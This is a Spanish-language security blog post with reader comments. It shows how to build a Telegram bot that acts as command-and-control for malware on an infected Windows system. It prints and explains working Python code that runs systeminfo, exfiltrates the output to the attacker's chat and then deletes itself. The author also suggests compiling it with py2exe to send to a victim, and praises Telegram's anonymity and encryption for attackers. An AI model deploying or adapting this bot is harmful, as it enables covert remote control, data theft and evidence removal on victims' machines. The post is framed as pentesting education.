martes, enero 31, 2017

Usar bots de Telegram para crear una Botnet controlada con un chat #Telegram

Un día descubrí los bots de Telegram y empecé a probar los servicios que ofrecían. Me di cuenta que nos permiten hacer un montón de cosas, cosas que pueden ser buenas o que alguien podría tornar en maliciosas para manejar remotamente un malware, al estilo de otros que han utilizado Twitter o Gmail.

Figura 1: Usar bots de Telegram para crear una botnet controlada con un chat

Un bot de Telegram, básicamente, es un programa corriendo en un equipo que realizará las acciones que nosotros le solicitemos a través de mensajes (palabras clave) enviados desde nuestra cuenta de Telegram por un chat. De esto ya vimos por aquí como se podía integrar un bot de Telegram con un sistema de control basado en una topología de Sinfonier gestionada por Latch.

Figura 2: Bot de Telegram controlado con Sinfonier y Latch

Yo he decidido hacer uso de esta tecnología para hacer control de acciones que podría tener que hacer un pentester. Así podría hacer las tareas de auditoría de forma remota bajo demanda. Por ejemplo, aquí podemos ver un bot que ejecutará Nmap y nos pasará el resultado a nuestro Telegram al enviarle una dirección IP:

Figura 3: Un bot que lanza Nmap controlado por un chat de Telegram

Por supuesto, si en lugar de controlar acciones de pentesting, se conectara a un malware, podríamos tener un sistema en el que se utilicen los bots de Telegram para, a través de un chat, tener un C&C para gestionar una botnet.

En esta entrada veremos cómo se puede hacer un bot que recopile información de un sistema Windows infectado (para luego utilizarla junto a algún sistema tipo Windows Exploit Suggester), nos la envíe en un fichero .doc y que luego podamos eliminarlo - como ejemplo del tipo de acciones que se pueden hacer -. Por supuesto, cuanto más fortificado esté el sistema Windows más difícil será meter un malware como éste.

¿Cuáles son las ventajas que nos ofrecen los bots?

Al utilizar Telegram como canal de comunicación con el C&C podemos aprovecharnos del cifrado de conexión al chat, además de poder utilizar cuentas anónimas creadas para la ocasión que van a ser usadas desde cualquier ubicación, por lo que daría a un atacante un entorno altamente disponible, con un cierto grado de anonimato y una capa de cifrado en la comunicación que ya viene por defecto. Eso sí, recuerda que hay determinadas acciones que se pueden hacer para "vigilar" las cuentas de Telegram que debes tener en cuenta.

Figura 4: Es posible saber cuándo una cuenta está activa o no en Telegram

No me voy a enfocar en cuál es el proceso completo para crear un bot ni en la explicación sobre la programación de los bots en Telegram, pero sí que os dejo los enlaces a los artículos que yo he utilizado para aprender a hacerlos:
- Instrucciones sobre la creación de un bot en Telegram
- APIs de los bots de Telegram
- Creando un bot con el API de Telegram
Lo que si voy a explicar son las líneas de código de nuestro bot de ejemplo para que se comprenda su funcionamiento. Para ello, además de utilizar Telegram y las APIs de los bots de Telegram vamos a hacer uso de la API que Python tiene para controlar los bots de Telegram.

Figura 5: PyTelegramBotAPI en GitHub

A continuación se muestran unos diagramas de lo que hace nuestro bot, para entender parte del proceso que se ha construido en esta PoC (Proof of Concept) en tres partes distintas.

Figura 6: Primera parte "conexión y recolección de información"
(1) Una vez iniciado, el bot envía el mensaje “I´m ready” al server de Telegram.
(2) El atacante recibe el mensaje que le permite saber que el bot se ha ejecutado.
(3) El atacante envía el mensaje “/systeminfo” para pedir al bot que comience a recabar información.
(4) El bot recibe el mensaje.
(5) Ejecuta el comando systeminfo y lo guarda en sys.doc
Figura 7: Segunda parte "recolección del archivo con datos"
(1) El atacante envía el comando “/data” solicitando el archivo sys.doc.
(2) El bot recibe el mensaje.
(3) El bot envía el archivo sys.doc.
(4) El atacante recibe el archivo.
Figura 8: Tercera parte "Eliminación del fichero y el bot"
(1) El atacante envía el comando “/suicide” para pedir al bot que se elimine.
(2) El bot recibe el mensaje.
(3) El bot borra el archivo sys.doc que creó y luego se autoelimina.
(4) El bot envía un mensaje para informar que se ha realizado lo pedido.
(5) El atacante recibe el mensaje confirmando la eliminación del bot y su archivo.
El script de nuestro bot pueden descargarlo desde mi sitio en Google Sites "Mama quiero ser pentester". Esta bajo el nombre de malbot.py

Figura 9: Código fuente del bot de Telegram de ejemplo

Lo primero que veremos al abrir el archivo será:
import telebot
import os
Estas son las lineas en las que importamos el módulo de Python arriba mencionado y el módulo para ejecutar comandos del sistema operativo. Luego veremos:
token = "TU_TOKEN_AQUI"
bot = telebot.TeleBot(token)
Como podrán deducir, aquí definimos nuestro token (previamente obtenido al crear nuestro bot desde Telegram) para interactuar con la API y creamos el objeto "bot". Luego sigue:
text='Im Ready!'
bot.send_message('TU_CHAT_ID', text)
Esto nos enviará un mensaje cuando el bot sea ejecutado. Donde dice SU_CHAT_ID deben agregar el número de identificación de chat que les devolverá al ingresar lo siguiente en el navegador:
https://api.telegram.org/botSU_TOKEN_AQUI/getUpdates
El proceso anterior, por supuesto, puede automatizarse en un entorno real, pero para el Spaghetti Code de esta PoC es suficiente con hacerlo de manera manual. Continuando, veremos lo siguiente:
@bot.message_handler(commands=['systeminfo'])
def send_welcome(message):
os.system('systeminfo > sys.doc')
@bot.message_handler(commands=['data'])
def enviar_doc(message):
doc = open('sys.doc','rb')
bot.send_document('TU_CHAT_ID', doc)
En las líneas de arriba, primero definimos la función que se va a encargar de realizar la recopilación de información del sistema y la guardará en un archivo .doc cuando le pasemos la orden "systeminfo". En segundo lugar, definimos la función que nos enviará el archivo al mandarle la instrucción "data". Luego tenemos:
@bot.message_handler(commands=['suicide'])
def send_welcome(message):
bot.send_message('TU_CHAT_ID', 'It was an honour')
os.system('del sys.doc')
os.system('del secbot.py')
En esas líneas le estamos diciendo al bot (de un modo un poco dramático) que se auto-elimine previo borrado del archivo sys.doc. Por último, para iniciar nuestro bot debemos agregar:
bot.polling(none_stop=False, interval=0)
Les dejo un video con nuestra PoC del bot en acción:

Figura 10: Utilizando un bot de Telegram para recopilar información de Windows

En este caso se está utilizando Python para la ejecución (lo cual no serviría de mucho si el usuario no tiene instalado el intérprete) pero la idea sería convertirlo en un ejecutable (con py2exe por ejemplo) para poder empaquetar y mandar a nuestra víctima. En cualquier caso, como malware este ejemplo es bastante sencillo, ya que lo que pretende es mostrar cómo se pueden usar los bots de Telegram como C&C de cualquier botnet, como ya se ha visto en algunos casos en el pasado.

Saludos y... Happy Bot Hacking!

Autor: Alejandro Fanjul

4 comentarios:

pmroco dijo...

Excelente como siempre Ale! Nos vemos en tu blog! Happy Bot Hacking!

Smakle dijo...

Muy bueno!

GIE dijo...

Genial !!! Gracias !

Ten Leal dijo...

Happy Bot Hacking!

Entrada destacada

Nuevo libro "Máxima Seguridad en Windows: Secretos Técnicos 4ª Edición" de @0xWord

Desde 0xWord se ha acelerado para tener a tiempo antes del verano la 4ª Edición del libro "Máxima Seguridad en Windows: Secretos Técn...

Entradas populares